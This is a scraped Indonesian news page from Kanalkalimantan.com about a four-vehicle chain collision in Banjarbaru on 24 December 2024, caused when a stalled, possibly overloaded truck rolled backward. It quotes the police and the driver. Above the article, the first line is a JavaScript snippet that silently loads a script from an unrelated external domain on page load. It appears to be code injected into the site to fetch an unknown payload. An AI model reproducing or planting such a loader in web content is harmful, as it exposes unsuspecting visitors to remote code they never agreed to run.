(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Empat buah kendaraan bermotor jadi imbas kecelakaan beruntun di Jalan Ir PM Noor, Kelurahan Sungai Ulin, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Selasa (24/12/2024) siang.
Menurut informasi dihimpun Kanalkalimantan.com, kecelakaan lalu lintas (laka lantas) terjadi tepat di tanjakan persis dari bundaran simpang empat Banjarbaru menuju Sungai Ulin.
Baca juga: Menang di PTUN, KPU Banjarbaru Giliran Hadapi Gugatan di PN Banjarbaru
Kasat Lantas Polres Banjarbaru AKP Embang Pramono menjelaskan, laka lantas ini diawali truk yang mati mesin saat berada di tanjakan, kemudian mengakibatkan tiga mobil pribadi dan satu unit sepeda motor terimbas truk yang berjalan mundur.
“Terjadi laka lantas tepatnya pada tanjakan arah menuju Sungai Ulin melibatkan truk serta tiga mobil dan satu roda dua,” ujar AKP Embang Pramono, Selasa (24/12/2024).
“Ada yang luka namun masih kita lakukan pengecekan di rumah sakit,” sambung dia.
Baca juga: Sambut Promo Natal & Promo Tahun Baru yang Lebih Seru Dengan Diskon Hingga Rp1,29 Juta!
Kasat Lantas Polres Banjarbaru, AKP Embang Pramono. Foto : wanda
Kasatlantas Polres Banjarbaru mengaku belum bisa memberikan penjelasan lebih terkait dengan penyebab kecelakaan, sebab saat ini masih dilakukan pendalaman.
“Penyebab masih kita dalami dulu apakah ada hubungan dengan efek lingkungan atau bagaimana, namun yang jelas akan kita periksa dulu pada kendaraan bermotor yang digunakan pengemudi,” ungkapnya.
Polisi, katanya, akan melakukan pendalaman pemeriksaan terhadap kelengkapan dan uji layak kendaraan yang dibawa sopir untuk mengangkut keramik itu.
“Kelengkapan uji layak dan lain-lainnya untuk bisa digunakan di jalan itu dulu yang kita dalami,” sebut Kasatlantas.
Baca juga: Taman Van der Pijl Dibuka Setelah Pergantian Tahun
Sopir truk, Tony. Foto wanda
Dugaan sementara di lapangan, kecelakaan terjadi karena truk warna biru kelebihan beban. Sopir truk bernama Tony mengaku tidak mengetahui berapa tonase barang yang diangkut truk yang dikemudikannya.
“Tonase tidak tercopy karena barang dari Jakarta dan kita sopir dari Banjarmasin, dan membawa keramik ke arah Rantau,” ujar sopir truk, Tony saat diwawancarai.
Tony menjelaskan kronologi awal truk yang ia kemudikan ini mendadak mati. Sementara, rem truk tidak berfungsi dengan normal saat itu.
“Saat menanjak saya gunakan gigi dua, tapi pas di tengah-tengah tanjakan mesin mati, dan remnya tak mampu, di sisi lain rem tangannya tidak berfungsi,” aku sopir. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.